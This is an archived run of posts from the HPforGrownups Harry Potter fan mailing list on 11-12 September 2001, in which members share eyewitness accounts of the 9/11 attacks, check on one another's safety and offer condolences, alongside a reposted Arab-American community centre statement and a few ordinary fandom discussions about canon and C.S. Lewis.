In-Reply-To: <20010911034103.11592.cpmta@c012.sfo.cp.net>
Message-ID: <9nltp9+kq62@eGroups.com>

No: HPFGUIDX 25958

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> On Mon, 10 September 2001, "Hillman, Lee" wrote:
> 
> > 
> I don't entirely understand why everyone is so 
> > > unhappy 
> > > > about the way this was fixed.  Perhaps someone will enlighten 
me.
> > > > 
> > 
 
I have to say I am happy with the rewrite (sorry everyone!). When I 
was reading the origional edition, I noticed another "flint" as I saw 
it... "...how the shadow of Harry's father had told him what to do." 
(GF p606 UK first edition) This does not fit in with the previous 
incorrect wand order, in that version of events it is Harry's 
*mother* who "tells him what to do" ie. take the portkey back to 
Hogwarts.  However, the rewrite of the wand order fits in perfectly 
with this as it *is* his father that tells him.  Maybe I am mistaken 
( I often am) but this is how I interpeted it.
-Mary 




From magpie1112 at yahoo.com  Tue Sep 11 21:15:36 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 11 Sep 2001 21:15:36 -0000
Subject: NYC Residents -- Please Let us Know you're Okay
In-Reply-To: <008601c13acf$93839540$7c44a480@cp124541b>
Message-ID: <9nluto+j4c5@eGroups.com>

No: HPFGUIDX 25959

--- In HPforGrownups at y..., - Joy - <joyw at g...> wrote:
> I live right down the street from the Pentagon/Kennedy Center 
area.  I'm
> fine, 
<snip>
> ~Joy~


Oh thank goodness!  Glad to hear you are okay.  Cindy, did your 
husband get home on the Metro okay?  Let us know if you can!

I was down at Washington Hospital Center this morning for a doctors 
appt. - that was cancelled when the hospital went into disaster 
mode.  Made it back to my safe little house in Rockville just fine.  
My prayers are with everyone.

- Denise




From himitsu_seren at yahoo.ca  Tue Sep 11 21:34:18 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Tue, 11 Sep 2001 21:34:18 -0000
Subject: ADMIN2RE: [HPforGrownups] NYC Residents -- Please Let us Know you 're Okay
In-Reply-To: <F45xyMy4vSWhxQ4JVXS0000d600@hotmail.com>
Message-ID: <9nm00q+cptq@eGroups.com>

No: HPFGUIDX 25961

--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> I'm good...just very, VERY rattled.  I watched the first tower fall 
from my 
> window....I set up my camera while I went downstairs to use the 
phone, and 
> now the second tower's gone, too.....I'm afraid to rewind the tape, 
I don't 
> even want to see it.
> 
> Ali

My older brother just got home from Pearson airport, and he says that 
there are American passengers swarming the phones trying to reach 
their families and crying when they can't. It's terribly saddening, 
and my hopes go out to everyone who is involved.

Good luck.

-Seren




From magpie1112 at yahoo.com  Tue Sep 11 21:35:19 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 11 Sep 2001 21:35:19 -0000
Subject: NYC
In-Reply-To: <002101c13af6$156e4ac0$c574e280@cc.binghamton.edu>
Message-ID: <9nm02n+h1h9@eGroups.com>

No: HPFGUIDX 25962

--- In HPforGrownups at y..., "Starling" <starling823 at y...> wrote:
> Hi everyone
> 
> Having spent the whole morning haunting my phone and praying, I can 
> finally relax, my immediate family is all ok.  I have a lot of 
> neighbors and friends who work in that area, so i'm really afraid 
> someone won't come home tonight.  Being away at college so hard -- 
> I can't even get thru on the phone. Everyone's afraid.
> 
> But I have an especial request for everyone.  Please, please, say a 
> prayer for the emergency personnel.  My dad is a police officer on 
> long island and he will probably be sent in to help with recovery 
> tomorrow.  
<snip>
> Abbie


Hi Abbie -

My prayers are with you and your father, friends and family.  Please 
let us know how you are.  You make a very good point - we so often 
take emergency service personnel for granted.  And since another 
Trade Center building has just collapsed, their jobs are far from 
easy.  

- Denise




From himitsu_seren at yahoo.ca  Tue Sep 11 21:51:30 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Tue, 11 Sep 2001 21:51:30 -0000
Subject: Very Relieved
In-Reply-To: <9nlrm5+95l1@eGroups.com>
Message-ID: <9nm112+ogit@eGroups.com>

No: HPFGUIDX 25964

--- In HPforGrownups at y..., rainy_lilac at y... wrote:
> I just heard from two of my friends who live in NYC-- they are fine.
> 
> I can't tell you what a relief this is.
> 
> --Suzanne

I know exactly how you feel. My best friend burst into tears when his 
mother called from Washington just a while ago. 

I hope no one has bad news regarding this.

-Seren




From himitsu_seren at yahoo.ca  Tue Sep 11 21:52:42 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Tue, 11 Sep 2001 21:52:42 -0000
Subject: cassie is fine
In-Reply-To: <46.1a798612.28cf8cea@aol.com>
Message-ID: <9nm13a+f30m@eGroups.com>

No: HPFGUIDX 25965

--- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:
> Hi all - cassie called me a bit ago - she talked to my husband, but 
I haven't 
> talked to her. She is fine. Will keep y'all posted. 


Thank you Heidi. Let's hope the rest of our American friends are as 
fortunate.




From TEAPOT1 at PRODIGY.NET  Tue Sep 11 22:16:03 2001
From: TEAPOT1 at PRODIGY.NET (Diana Wisniewski)
Date: Tue, 11 Sep 2001 18:16:03 -0400
Subject: [HPforGrownups] Re: Is Everyone OK?
References: <9nl9ju+7bjs@eGroups.com>
Message-ID: <008001c13b0f$5a18af80$de841440@oemcomputer>

No: HPFGUIDX 25966


----- > Hey, I'm in Southern Maryland. I hope you all up in D.C. are okay. I
> think you're safer in-doors than out. Stay calm and if you can get
> out of the city, use the side roads in South East and North East. The
> main roads are jammed.
>
> I'm uneasy too. I live in the Southern Maryland Triangle: due south
> is the Pax River Naval Air Base, due west is Bolling Air Force Base
> and due north is Andrews Air Force Base. I'm toast if they take any
> of these bases out.
>
> Milz {{{{{{internet reassuring hug}}}}}}}
>
>
I understand how you are feeling. I'm here in MD also right by Ft. Meade and
NSA (National Security Agency). I am happy and releived to report we're all
fine. I picked my kids up from school and my husband is finally home from
work. I feel relief that we are all together and safe. My prayers go out to
all the families whose loved ones aren't home, and to those who must go to
work and help out. Please let them all be safe.
Diana




From jheen at mmcable.com  Tue Sep 11 22:27:09 2001
From: jheen at mmcable.com (Genevieve Pratt)
Date: Tue, 11 Sep 2001 17:27:09 -0500
Subject: Discussions and well wishes
Message-ID: <000201c13b10$e66e7a40$e9d41a41@breev>

No: HPFGUIDX 25967

Heya,

I was going to post the discussions today, but in light of what happened
this morning, I didn't feel it was quite appropriate. 

Instead, I just want to let everyone know my prayers are going with
those who are actually dealing with it, have family or friends in either
NYC or DC, or just aren't sure about someone out there. I remember how
terrifying it was to be in Oklahoma back when the federal building was
bombed so I can relate. *hugs everyone out there*  Please take care and
may things get better for you soon. 

All my thoughts,
Genevieve




From mindyatime at juno.com  Tue Sep 11 22:45:50 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Tue, 11 Sep 2001 18:45:50 -0400
Subject: Report from NY
Message-ID: <20010911.184630.-3721293.28.mindyatime@juno.com>

No: HPFGUIDX 25968

Hi everyone. I live and work in Williamsburg, Brooklyn, right across the
bridge from downtown Manhattan. This morning at 8:45 I went to vote and
then went to work. On my way to work I met  a woman who said to me, "I
hear the Twin Towers are burning." I thought she was kidding, until I
arrived to my office, a Yiddish-language newspaper. A street away from my
office, there is an excellent vantage point where I watched both building
burn. It was terrifying. The smoke billowed like crazy. The two towers
looked like lighthouses beaming huge plumes of smoke. they looke like a
pair of stockings with runs going down the side, as the smoke kept
lowering down. I ran to my office where all the writers and reporters
were in a tizzy. My husband called. He had been on the Brooklyn Queens
Expressway on the way to his job in Boro Park and he saw the first tower
burning. He stared at the building in amazement, when he saw the 2nd
plane crash into the 2nd tower!!! He thought he was dreaming!!! My father
who is one of the senior editors at our paper went outside to watch and
he came back shaken up that he just watched the 2nd building collapse. I
thought I was dreaming. What??? No more Twin Towers??? One of the radio
reporters referred to it as two molars missing from the teeth of the
skyline of NYC. The streets in Williamsburg were deserted. Across the
street from my office there is a firehouse. We watched in amazement as
hundreds of policemen and firefighters arrived to be bussed across the
bridge to Manhattan. The streets were blocked off. There were not enough
busses so the yeshiva (boys school) next door donated some busses. One of
my bosses is a Hatzoloh (volunteer paramedic) member so he spent most of
the day in Manhattan. He ran for his life when the building collapsed.
One of my other coworkers walked across half of Manhattan and across the
Williamsburg Bridge to get to work. It was chaos all day at my job. There
are hundreds and thousands of dead and wounded. One of my husband's
business associates has a son who works on the 90th floor. He faxed his
wife a letter at 9:15 AM telling her he has no way to leave the building
and he will probably die and he tells her goodbye and sorry. I dissolved
in tears at that story.
I can write for hours. What a day it's been. Thank G-d I am safe and so
are all the people I know. There has been no death count so we still have
to wait and see.

MINDY
Proud ListOwner of:  http://groups.yahoo.com/group/JewishMusic,
For JewishMusic Enthusiasts everywhere
and http://groups.yahoo.com/group/MiamiBoysChoir
For Demented MiamiBoysChoir Fanatics like me



From Schlobin at aol.com  Tue Sep 11 23:09:05 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Tue, 11 Sep 2001 23:09:05 -0000
Subject: thoughts and prayers
In-Reply-To: <000201c13b10$e66e7a40$e9d41a41@breev>
Message-ID: <9nm5ih+pdgu@eGroups.com>

No: HPFGUIDX 25969

Dear Harry Potter friends:

I thought I had checked in on all my lists..and then I thought, oh 
no! harry potter!

I hope that we've located everyone, and that everybody is okay. 

May the Goddess or God be with you all today. Here in the U.S., we've 
been mostly spared the constant fear of terrorist attacks, but no 
more. 

This is so personal for all of us -- my dad worked at the World Trade 
Center, I lived on Long Island, and went to college in D.C. I'm 
calling all my all friends to check in with them.

Where I work - SAFE House - we met today...and someone said that it 
felt like a major disturbance in the Force..we talked about how not 
to give into hatred. We're familiar with terrorists -- a batterer 
recently flew his own plane to murder his wife and son in their 
house -- luckily they had escaped, but he died..... We are trying to 
focus on care and compassion for each other during this dreadful time.

We're all giving blood 1-800-GIVELIFE.

We also talked about not resorting to racism. No one knows yet who 
did these despicable crimes, and in any case, it's not the fault of 
Arab Americans or Muslims in our own communitiy. We're making a 
special effort to reach out to our neighbors--we certainly don't want 
a repeat of what happened to the Japanese after Pearl Harbor.

My love to you all.

Susan

Ann Arbor, Michigan, U.S.A.




From degroote at altavista.com  Tue Sep 11 23:47:36 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 11 Sep 2001 16:47:36 -0700
Subject: [HPforGrownups] Terrorist Bombing
Message-ID: <20010911234736.29191.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25970

An embedded and charset-unspecified text was scrubbed...
Name: not available
URL: <http://archive.hpfgu.org/pipermail/hpforgrownups/attachments/20010911/895c3b14/attachment.ksh>

From aiz24 at hotmail.com  Wed Sep 12 00:23:20 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 12 Sep 2001 00:23:20 -0000
Subject: ADMIN: Chat open for talk about today's disaster now
Message-ID: <9nm9to+b158@eGroups.com>

No: HPFGUIDX 25971

Dear friends,

If you would like to connect with HPfGU folk about today's terrorist 
attack, please come on over to the chat.


Directions:

Go to http://chat.yahoo.com

Scroll down to the window with the Join Friend button

Click on a name in the window and then hit Join Friend



This is an open group--anyone who logs onto chat.yahoo.com can 
enter--but its existence is only being announced to HPfGU lists.

IM me (lupinesque on Yahoo! Messenger) if you run into trouble.  I 
will be on until 9 Eastern time, when I'll be in front of the TV for 
the president's address.

Thanks all for the wonderful support all day.

Amy Z
Magical Mod Squad 




From morgan_793 at yahoo.com  Tue Sep 11 23:25:59 2001
From: morgan_793 at yahoo.com (=?iso-8859-1?q?=20?=)
Date: Wed, 12 Sep 2001 00:25:59 +0100 (BST)
Subject: [HPforGrownups] thoughts and prayers
In-Reply-To: <9nm5ih+pdgu@eGroups.com>
Message-ID: <20010911232559.28459.qmail@web13908.mail.yahoo.com>

No: HPFGUIDX 25972

Thank you so much for your sentiments. They're a sane antidote to some
of the things I've been hearing today, several thousand miles away from
the tragedy. I'm almost more afraid of what some people might do now
that this is over.

 --- Schlobin at aol.com wrote: > Dear Harry Potter friends:

> May the Goddess or God be with you all today. Here in the U.S., we've
> been mostly spared the constant fear of terrorist attacks, but no 
> more. 

> we talked about how not 
> to give into hatred. We're familiar with terrorists -- <snip> We are
trying to 
> focus on care and compassion for each other during this dreadful
> time.
 
> We also talked about not resorting to racism. No one knows yet who 
> did these despicable crimes, and in any case, it's not the fault of 
> Arab Americans or Muslims in our own communitiy. We're making a 
> special effort to reach out to our neighbors--we certainly don't want
> a repeat of what happened to the Japanese after Pearl Harbor.

=====
Respectfully,
Morgan

"Si hoc legere scis nimium eruditionis habes."

____________________________________________________________
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Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie



From storm19z at hotmail.com  Wed Sep 12 00:42:10 2001
From: storm19z at hotmail.com (Maissa Chouraki)
Date: Tue, 11 Sep 2001 17:42:10 -0700
Subject: [HPforGrownups] Is Everyone OK?
Message-ID: <F61ssd3z8CHP4MZ7tcQ000036e7@hotmail.com>

No: HPFGUIDX 25973




>From: TgrzDlphns <tgrzdlphns at yahoo.com>
>Reply-To: HPforGrownups at yahoogroups.com
>To: HPforGrownups at yahoogroups.com
>Subject: Re: [HPforGrownups] Is Everyone OK?
>Date: Tue, 11 Sep 2001 12:41:31 -0400
>I live in san francisco, and today has been absolutly dead. No one was 
>around everything was closed, nothing happened but the plane that was 
>crashed in pennsylvania was headed towards us, I am thanking God, that it 
>crashed I know thats horrible but on the other hand better whatever ammount 
>of people on the plane than 20,000 more. Anyone who has lost friends or 
>family memebers in this tradgedy, I send out my love, because I can't even 
>imagine what your going through.Sogoodluck
MAy
>At 03:02 PM 9/11/2001 +0000, you wrote:
> >I am trying to keep from freaking out about recent events by sitting
> >at my computer and working, and catching up on the HP group, but I
> >have to admit I am totally freaked.  I live in DC, about a mile from
> >the Capitol and I am hoping fervently that no more lunatics in planes
> >are headed in my direction.  Apparently the highways are crammed with
> >people trying to get out of town, but when the skies are filled with
> >crazed terrorists in planes, it seems pointless to go anywhere.  I
> >found out about this insanity when I heard several huge sonic booms
> >and loud aircraft.  The whole city is in a state of complete
> >insanity, although I imagine NYC is much worse.
> >
> >Well, I am totally freaked.  If my house doesn't go up in smoke, I
> >will talk to you all later.
> >
> >--Joywitch, wishing she lived in Kansas
>
>
>{{{{Joy}}}}}
>
>I understand your feeling being from the area as well. I never could have
>imagined this in my worst nightmares
>
>Bree
>


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From kcbenzin at bu.edu  Wed Sep 12 01:40:49 2001
From: kcbenzin at bu.edu (kcbenzin at bu.edu)
Date: Wed, 12 Sep 2001 01:40:49 -0000
Subject: thoughts and prayers
In-Reply-To: <20010911232559.28459.qmail@web13908.mail.yahoo.com>
Message-ID: <9nmef1+ek12@eGroups.com>

No: HPFGUIDX 25974

More thoughts and prayers from Boston. It's been quite a shock for 
all of us around here too. Nothing compared to New York or Washington 
though. I hope tomorrow finds us all safe and recovering. 








From Schlobin at aol.com  Wed Sep 12 02:18:03 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Tue, 11 Sep 2001 22:18:03 EDT
Subject: from Susan McGee - please forward
Message-ID: <3e.1140012d.28d01fdb@aol.com>

No: HPFGUIDX 25975

PRESS RELEASE FROM


ACCESS-THE ARAB COMMUNITY CENTER FOR ECONOMIC AND SOCIAL SERVICES

Dearborn, Michigan.  The Arab Community Center for Economic and Social 
Services (ACCESS) condemns the bombings as any right thinking group of people 
would.  We believe this condemnation reflects the views of Arab- Americans 
universally.  

We ask that our community neighbors not to jump to any conclusions as during 
the Oklahoma City bombing.  During that crisis, many Arab groups were accused 
and in the end, it was a domestic terrorist act.

Today, many schools, religious institutions, and Arab-American organizations 
have received bomb threats.  Arab-Americans families have been forced to take 
their kids out of school.  We ask that the general public and the media in 
particular, keep in mind that we are Americans as well.  We are devoted to 
our country and oppose violence.  

Contact Person:  Ismael Ahmed, Executive Director
Phone Number:  (313) 842-7010
E-Mail-Iahmed at accesscommunity.org



From heraldtalia at juno.com  Wed Sep 12 02:13:46 2001
From: heraldtalia at juno.com (Herald Talia)
Date: Tue, 11 Sep 2001 22:13:46 -0400
Subject: [HPforGrownups] NYC Residents -- Please Let us Know you're Okay
Message-ID: <20010911.221449.-252839.0.HeraldTalia@juno.com>

No: HPFGUIDX 25976

I have a slightly skewed perspective on this, since I was a student in
Israel, where attacks like this are all too common. It's like a mental
toothache over there - will this trip to the post office or the park be
my last? But Americans aren't braced for it. Without getting political, I
just want to say that it's sad that President Bush had to have such a
large, tragic, terrifying object lesson before he could make the
unequivocal condemnation "Terrorism is evil." My heart and prayers go out
to the victims, some of whom are still being evacuated from the rubble. I
hope everyone's ok. 

			Terrorism in America
			An eyewitness account
			Robyn
	Initially, it seemed surreal. Like watching a science fiction film where
aliens engage in wholesale destruction. It just doesn't seem actual. I
was on the Verrazano at 8:45 and I saw the whole thing. Later, I saw the
first tower collapse from the roof of my job - in Sunset Park - which is
just over the bridge from Manhattan. I actually SAW the plane hit the
tower - it looked pretty, actually, like an orange flower was suddenly
blooming on the side of the building. The smoke was already billowing
from the first tower, and soon the column of smoke was so big and thick
and black, it looked like several buildings were burning. 
	Later, like an idiot, I got on the N train to go to my job (no one
realized then, what had really happened) Train service suddenly stopped,
and in the mad (very scary) rush to get off the train, my pocketbook was
stolen.  I was sure I'd be trampled by all the people who were pushing
and shoving and panicking. I'm sure there were injuries, but in the wake
of the larger news, we didn't hear about it. I never really realized the
scary power of a mob of people, when they are all pushing and screaming,
each one only out for himself. You get the sense that each person is a
primitive animal, perfectly willing to trample you so he can get out to
safety. For sheer survival, you act like an animal too, pushing and
shoving so you don't get pushed and shoved. 
	It was the scariest thing, to see the building collapse. You heard a
loud creak, and some people who were closer heard a "whoosh" Then, it
seemed to be silently, the building just fell in. Imagine a tower of
blocks that your toddler builds. It's round and hollow in the middle.
Imagine a strong wind coming from all sides of the tower. Picture the
blocks all falling inwards. That's how it looked. If you blinked, you
missed it. 
	The power of government also scared me. Since I work in a medical
center, in a mental health related field, I was deemed "Medical
Personnel." I was not allowed to leave. Protestations of toddlers
waiting, and no means of contacting care givers weren't listened to.
Kosher food? Too bad. Get jelly beans at the vending machine. We spent
all day training on triage and trauma counseling, but did not see many
real cases. Bellevue and St. Vincent got most cases. 
	It also struck me how illusory our sense of control and mastery of our
world is. People were whipping out cell phones, trying to call loved
ones, and couldn't get through. Then they tried real phones, and still
couldn't. Then you saw real panic. That's when you realized how fragile
and novel these things are - cell phones, e-mail, transportation. They
all serve to make us instant masters of our domain, but they're just
fragile toys. 
	I guess Sirius Black (or Peter Pettigrew) had nothing on these
terrorists. Thirteen people with a single curse? Contrast that with
1,000s of people with a single plane. I don't want to be a Muggle
anymore! The Potterverse, even with The Big V, seems a much safer place. 
G'Night. 
I'm off to bed with CoS, PoA, GoF, and some Patricia C. Wrede, a cup of
hot cocoa, and warm, cozy blankets. ( I want my teddy back!!! Should I
kidnap one of my daughter's?)
Robyn




From Schlobin at aol.com  Wed Sep 12 02:27:40 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Wed, 12 Sep 2001 02:27:40 -0000
Subject: Can't find Vanity Fair
In-Reply-To: <01091115051702.01860@sysop>
Message-ID: <9nmh6s+4ss2@eGroups.com>

No: HPFGUIDX 25977

--- In HPforGrownups at y..., Juan Carlos De La Cruz <avatar7 at u...> 
wrote:
> 
> Excuse my repent appearance, since this is my first 
> posting to the group, so Hello everyone!.
> ?
> I?m a 29yo living in Caracas Venezuela, even tho I 
> get most of my stuff via a mail delivery service which connects a 
Miami 
> adress 
> with my local address here.
> ?
> ???????????? 
> I would also like to have that Vanity Fair issue, but as far as I 
am 
> concerned 
> (Which might be little) the only way I?ve found to do so is to 
subscribe ( As 
> I?ve done with such as Interview or Details or Genre or...) and I 
definitely 
> do 
> not want to subscribe to Vanity Fair, but to have that only issue.
> ?
> ????????? Could any of you 
> help me find out whether is there a way to buy online that only 
> issue?
> ?
> ??? ??? As I?ve read 
> in some page somewhere...... I used to be one of those "moaners" 
whose peers 
> used to chit-chat all around about Harry Potter, and it was not 
until about 
> the 
> third month of listening the buzz around that I decided to have the 
first 
> book 
> lent to me, and it was certainly magic! I passed thru from 
the "It?s only a 
> child thing" phase to becoming a total fan!!!!!!. I?ve read the 
first book in 
> about 8 hours tops, the same day, and then the day after I went out 
and 
> bought 
> the 4 complete books to have them on my own, and finished reading 
them 3 days 
> later, all of them!. I am heavily considering reading them slo-mo 
from now on 
> and analyzing them, now without the initial hunger, but on severe 
and 
> tasteful 
> detail. I?ve found them to be a generous resource on life lessons 
as 
> acceptance, 
> growing up, and tons of other topics I would base a heavy 
dissertation 
> on.
> ?
> ??????? After 
> all, that?s why I signed up, isn?t it? :)
> ?
> Absolutely thankful and with my best regards 
> beforehands
> ?
> Juan Carlos De La Cruz.
> DeGoPro.com General Manager
> CARACAS - VENEZUELA
> Proud Hogwarts student at the Ravenclaw 
> House.
> (As told by some hat at the "official" 
> page...)
> ?
> ?
> ?
> ----- Original Message -----
> From: Vicky 
>   DeGroote
> To: HPforGrownups at y...
> Sent: Tuesday, September 11, 2001 12:31 
>   AM
> Subject: Re: [HPforGrownups] Can't find 
>   Vanity Fair
> hey thanks for the heads up!? I plan to be a B&N 
>   bright & early tomorrow a.m.!!? Have to get one for my sister for 
her 
>   birthday too!
> Kitty
> On Mon, 10 September 2001, Maggie Connolly 
>   wrote:
> -- 
> ------------------------------
> Juan Carlos De La Cruz.
> Proud HOgwarts student at Ravenclaw.

I can't find it  either, but if I do I'll send you a copy, Juan...
is it the August issue or the September issue?




From cynthiaanncoe at home.com  Wed Sep 12 03:02:09 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 12 Sep 2001 03:02:09 -0000
Subject: NYC Residents -- Please Let us Know you're Okay
In-Reply-To: <9nluto+j4c5@eGroups.com>
Message-ID: <9nmj7h+pqtm@eGroups.com>

No: HPFGUIDX 25978

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> 
> 
> Oh thank goodness!  Glad to hear you are okay.  Cindy, did your 
> husband get home on the Metro okay?  Let us know if you can!
> 
Yes, he made it fine.  It took until 3 p.m., though, and he didn't 
take Metro.  I'm still freaked out about how tense things were here 
in DC today.  When you know all the planes are supposed to be 
grounded, but there's rumored to be one on the way, and you can hear 
all sorts of planes and helicopters overhead (we're maybe a mile 
north of DC), and fighter jets are taking off in Virginia, well, your 
imagination starts to get the better of you.  

Thanks for your support and prayers.  This is a great group of people.

Cindy




From nethilia at yahoo.com  Wed Sep 12 03:30:03 2001
From: nethilia at yahoo.com (Nethilia De Lobo)
Date: Tue, 11 Sep 2001 20:30:03 -0700 (PDT)
Subject: Discussions and well wishes
In-Reply-To: <1000254475.2622.64877.l8@yahoogroups.com>
Message-ID: <20010912033003.60604.qmail@web14604.mail.yahoo.com>

No: HPFGUIDX 25979

I was really worried--I heard about it seconds after
it happened from a friend in Florida who watched the
news. But I couldn't watch, as there were no TVs on
campus I could get to.

I was extremely worried, as I have a very close friend
whose mother works in the Pentagon. However, she
called in sick to work. Talk about lucky. 

My hopes and wishes go out to everyone, and my
sympathies go out to the families of those who died. I
feel so helpless...I can't do anything to help, I
can't give blood because I'm anemic, and i'm too far
away to do much other than feel shocked and useless...


--Neth, feeling very lost right now and misses her boyfriend

=====
--Nethilia de Lobo--
79% obsessed with Harry Potter
**Draco Dormiens Nunquam Titillandus.**

http://www.geocities.com/spenecial
Spenecial.com. Two girls. One Website. Total Chaos.

__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From katzefan at yahoo.com  Wed Sep 12 05:30:04 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Wed, 12 Sep 2001 05:30:04 -0000
Subject: Terrorist Bombing
In-Reply-To: <00b101c13aec$eb320020$279b01d5@co.uk>
Message-ID: <9nmrss+9207@eGroups.com>

No: HPFGUIDX 25980

I would also like to offer my prayers and my deepest sympathy to 
all those trying to come to grips with this abomination, and 
particularly those who had to live through it, or who lost loved 
ones through it. Some people's actions are just beyond 
comprehension. I too wish I could do more than just sit by and 
watch.








From katzefan at yahoo.com  Wed Sep 12 05:32:54 2001
From: katzefan at yahoo.com (Irwin Mona)
Date: Tue, 11 Sep 2001 22:32:54 -0700 (PDT)
Subject: [HPforGrownups] ADMIN: Chat open for talk about today's disaster now
In-Reply-To: <9nm9to+b158@eGroups.com>
Message-ID: <20010912053254.16371.qmail@web12706.mail.yahoo.com>

No: HPFGUIDX 25981

Amy Z: got your message but did not get logged on
until 1:30 a.m. local time (Niagara Region, ON) and
then could not seem to stay logged on. 
This was almost beyond comprehension. Canada's prayers
and sympathies go out to everyone in the U.S.

Mona Irwi 

__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From lumen_dei at yahoo.com  Wed Sep 12 07:51:34 2001
From: lumen_dei at yahoo.com (Lumen)
Date: Wed, 12 Sep 2001 09:51:34 +0200
Subject: Re to  Aberforth's defense of CSL & JKR
References: <1000169825.2870.28952.l6@yahoogroups.com>
Message-ID: <003d01c13b60$7244df60$4785153e@poorclar>

No: HPFGUIDX 25982

First I want to stand up and cheer Aberforth's Goat for one superb post;
really, one of the best ever.  Below is the part on which I would like to
add a few points.

"Also: one thing many readers may not notice about Narnia is the originality
and influence of its theological contribution. Lewis was a classical
Christian, but he wasn't just toeing the party line. (In fact, he was
arguably the century's most original conservative theologian - assuming that
isn't an oxymoron). The Narnian tales have certainly had a more significant
effect on the way I understand the world than any single theology book I can
think of. (Of course, people coming from a different background are unlikely
to see this originality and very likely to see the things they dislike about
CSL's worldview.)

I don't see Jo at all in same light - which is natural since she is not a
theologian nor even a philosopher. She's coming at her stories from a
different background and with a different agenda. I think she's more
interested in the people than the issues, which certainly isn't bad. But I
don't think she'll be giving Sartre or Tillich a run for his money."
Aberforth's Goat


There seems to be a difficulty for some as regards just what for moral
content, etc. C.S. Lewis has in the Narnia tales: over-simplistic, etc.  Of
course anyone who has read all of his works (they are superb;no one should
miss them) knows that the man is anything but simplistic in his approach to
morals. The books in question are targeted for children younger than the
audience
that JK has in mind for hers.

The deeper touchstone --and Aberforth pointed in that direction-- is that
CSL is also writing from a theological point.  While we know that JK has
Christian roots, has had her own child baptized, is intensely interested in
questions that pertain to the religious realm; still she is not a
theologian, nor can any one say with exactitude where she stands now.

My point is --and I am a Christian, Catholic, and easily termed as serious,
having devoted a good many years to the study of theology-- is that for
those outside the faith, there is a tendency to divide our approach and
practice of morality from our confession of God as the center of our life.
We don't follow --now I am speaking of the "ideal" since there are always a
goodly number who don't really grasp the full implications of what is
offered to them in their faith-- a set of "Do and Do not" because this is
how it has to be or else.  The moral code is based on a loving relationship
with God.  Just that simple.  Loving God and loving my brother in Christ, I
strive to do what is best for the other/Other.  Modern morality has for the
most part taken "don't harm the other" as its rule for what should be done
or not done.  The dynamism behind our morality/spirituality moves in a very
different direction.  Christianity, by contrast, is based
on a love-relationship and that is the foundation for every moral decision:
do the very best you can for the other.  If one goes to CSL Narnia tales
with that in mind, you will see that it is much deeper than suspected.

Then there is also the fact that Christians --again I am talking of what
would be called the orthodox approach-- do hold that there is a natural law,
a law which is written in the nature of man and can be learned apart from
any sacred book or theological manual, be it Buddhist, Hindu, Moslem,
Jewish, or Christian.  CSL called it the Tao in his "The Abolition of Man".
That is why there are so many things that coincide in the great world
religions.  Modern morality has for its norm --this is speaking rather
generally but this is getting too long-- this foundational sentence
structure,
"I feel that such and such is.."  In our extreme individualism, the person
makes their own
emotional/psychological experiences the norm for moral behavior.  A few
weeks ago they had a large symposium at the Utrecht University on this
modern trend to view morality from "how I feel about such ..."  These
professors and others are anything but supportive of the traditional
churches, Protestant or Catholic.  Yet they cannot embrace this either.  As
we say in Holland: everyone is a Pope.

Truly, if you are not a Christian, it is very difficult to evaluate someone
like CS Lewis when you enter into the realm of morality.  The life of prayer
and earnest seeking for the Face of God lies at the heart of all that the
serious Christian does and yearns for.

There is also a literary point here.  There are literary critics (refer to
Danziger's Literary Criticism) who would categorize the Narnia Tales as
allegory.  Allegory does not lean on characterization in the way of many
novels.  Look for the children to each symbolize, represent a particular
dilemma, a challenge to be answered, a problem solved.  Not that every word
they say pertains to that, but it seems to some that this is the better way.
Diggory would be the perfect one to point up all what I mentioned.  For he,
as the one who brought evil into Narnia, is made into the symbol of total
trust in God.  In Diggory there is much of Abraham walking towards the
mountain with fire and knife in hand.  The decision to obey or to do what
seems to him the way to save the one he loves....


O Aberforth, do you really like Chesteron's mysteries?  To read one is worse
than three detentions with Snape for this poor reader.

Maria
(going back to work on her clip notes for Book I)
www.the-sorting-hat.com


    "Your mother died to save you. If there is one thing Voldemort
cannot understand, it is love. He didn't realize that love as
powerful as your mother's for you leaves its own mark. Not a scar, no
visible sign... to have been loved so deeply, even though the person
who loved us is gone, will give us some protection forever."








From mne_chapman at hotmail.com  Wed Sep 12 10:21:37 2001
From: mne_chapman at hotmail.com (mne_chapman at hotmail.com)
Date: Wed, 12 Sep 2001 10:21:37 -0000
Subject: In Our Thoughts
Message-ID: <9nncvh+voul@eGroups.com>

No: HPFGUIDX 25983

I would like to pass on all our sympathies to the victims of 
yesterdays terrible attacks on New York and Washington.

Our thoughts and prayers go out to the members of the resue services 
that now have the most grim task of recovering the bodies of not only 
the people who worked in the buildings that were destroyed, but also 
those of thier collegues who were caught in the collapse of the 
buidings. 

These rescue workers have made the supreme sacrifice whilst trying to 
save other people and it is impossible to comprehend how thier 
families are coping with such a great loss.

Mark Chapman
Brighton, U.K. 




From magpie1112 at yahoo.com  Wed Sep 12 12:27:21 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 12 Sep 2001 12:27:21 -0000
Subject: NYC Residents -- Please Let us Know you're Okay
